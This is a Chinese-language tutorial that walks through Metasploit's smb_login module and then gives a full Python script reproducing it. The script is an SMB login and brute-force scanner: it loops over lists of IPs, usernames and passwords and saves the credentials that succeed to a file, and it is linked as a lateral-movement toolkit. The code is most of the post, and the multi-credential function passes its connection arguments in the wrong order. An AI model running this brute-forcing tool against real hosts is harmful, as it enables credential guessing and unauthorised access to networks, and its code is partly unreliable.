Server Message Block (SMB) Intro
服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并从计算机网络中的服务器程序请求服务。客户端可以读取、创建和修改远程服务器上的文件。
本文目标是用python实现 metasploit 中的 smb_login功能:
- Single Credential Login Scanner 单凭证登录扫描
- Multiple Credentials Login Scanner 多凭证登录扫描
- Credentials Collection 生成凭证
SMB 主要漏洞
漏洞名称 | CVE编号 | 发现日期 |
---|---|---|
EternalBlue | MS17-010 | 2017 |
SMBGhost | CVE-2020-0796 | 2020. 3 |
扫描smb服务可以查出版本漏洞,以及弱口令漏洞。
Metasploit 中的 smb_login
在运行Metasploit 后运行下面代码,user.txt 和 pass.txt分别为用户设置的用户名字典和密码字典 (也可以只设置单个用户名或密码),设置的扫描目标IP地址是RHOSTS。
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.10.16
set USER_FILE /root/users.txt
set PASS_FILE /root/pass.txt
run
- 1
- 2
- 3
- 4
- 5
smb_login 也可以扫描多个IP地址以及整个网段,只需要在RHIOSTS里设置:
set RHOSTS 192.168.10.10, 192.168.10.11
set RHOSTS 192.168.10.0/24
- 1
- 2
Python 实现 smb_login
python代码运用了SMBConnection库。实现了三个SMB扫描的基本功能:
- Single Credential Login Scanner 单凭证登录扫描
- Multiple Credentials Login Scanner 多凭证登录扫描
- Credentials Collection 生成凭证
注:此脚本仅供学习,任何非法使用与本人无关。
import os
from smb.SMBConnection import SMBConnection
############################ Clear Consle While Start a Loop ##############################
def clear():
os.system('cls') #on Windows System
############################ Collect Single Credential From User Input ##############################
def CollectCredential():
remote_ip = input('Enter Host IP:')
username = input('Enter SMB Username:')
password = input('Enter SMB Password:')
domain = input('Enter Domain Name:')
return(remote_ip,username,password,domain)
############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):
ver = []
try:
file = open(up, 'r')
data = file.readlines()
print('File Direction Verified.')
for line in data:
ver.append(line.strip())
except:
ver.append(up)
return ver
return ver
############################ Collect File Directions From User Input ##############################
#Support IP, username, password SMB brute force attack,
#user can input single attributes replace one to three attributes with files
def CollectFiles():
remote_ip = input('Enter Host IP or File Direction:')
remote_ip = VerifyFile(remote_ip)
username = input('Enter SMB Username or File Direction:')
username = VerifyFile(username)
password = input('Enter SMB Password or File Direction:')
password = VerifyFile(password)
domain = input('Enter Domain Name:')
return(remote_ip,username,password,domain)
############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():
try:
with open("Credential.txt",mode='w',encoding='utf-8') as ff:
for i in range(len(credential)):
ff.write(credential[i]+' ')
if (i+1) % 4 == 0:
ff.write('\n')
except FileNotFoundError:
with open("Credential.txt",mode='w',encoding='utf-8') as ff:
for i in range(len(credential)):
ff.write(credential[i]+' ')
if (i+1) % 4 == 0:
ff.write('\n')
############################ SMB Functions Using SMBConnection ##############################
class SMB(object):
def __init__(self,remote_ip,username,password,domain):
self.remote_ip = remote_ip
self.username = username
self.password = password
self.domain = domain
############################ Use the Single Credential CollectCredential() to Login ##############################
def SingleLoginScanner(self):
my_name = ""
remote_name = ""
try:
self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
connected = self.conn.connect(self.remote_ip,445)
if connected == True:
print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))
credential.append(self.remote_ip)
credential.append(self.username)
credential.append(self.password)
credential.append(self.domain)
print("Credential",credential)
else:
print('False :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))
self.conn.close()
except Exception as e:
print(e)
############################ Use the Multiple Credentials CollectFiles() to Login ##############################
def MultiLoginScanner(self):
count = 0
my_name = ""
remote_name = ""
for ip in self.remote_ip:
for username in self.username:
for password in self.password:
count += 1
try:
self.conn = SMBConnection(username, password, self.domain, my_name, remote_name, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
connected = self.conn.connect(ip,445)
if connected == True:
print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
credential.append(ip)
credential.append(username)
credential.append(password)
credential.append(self.domain)
print("Credential",credential)
else:
print('%d False :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
self.conn.close()
except Exception as e:
print('%d False :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
print(e)
############################ SMB Functions Support User to Chose ##############################
def main():
while(1):
print('********************SMB PYTHON TOOKIT********************')
print('1. Single credential SMB Login Scanner')
print('2. Credentials list from file SMB Brute Force')
print('3. Generate Collected Credentials')
print('4. Quit')
print('*********************************************************\n')
chose = input('Type number to pick function:')
if chose == '1':
print('Only support to input single ip address, username and password.\n')
remote_ip,username,password,domain = CollectCredential()
smb = SMB(remote_ip,username,password,domain)
smb.SingleLoginScanner()
elif chose == '2':
print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')
remote_ip,username,password,domain = CollectFiles()
smb = SMB(remote_ip,username,password,domain)
smb.MultiLoginScanner()
elif chose == '3':
print('Generating Successful Credentials in a txt file...\n')
GenerateCredentials()
print('Generated Credential.txt in the same python Directory.\n')
else:
print('Please input valid number!\n')
clear()
if __name__ == '__main__':
credential = []
main()
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
Github 代码:https://github.com/redemptionwxy/SMB-Python-Lateral-Movement-Toolkit
Reference
https://github.com/rahulinux/PythonPractice-/blob/master/samba_client.py
https://github.com/n3if/scripts/blob/master/smb_enumerator/smb_enumerator.py
https://pysmb.readthedocs.io/en/latest/api/smb_SMBConnection.html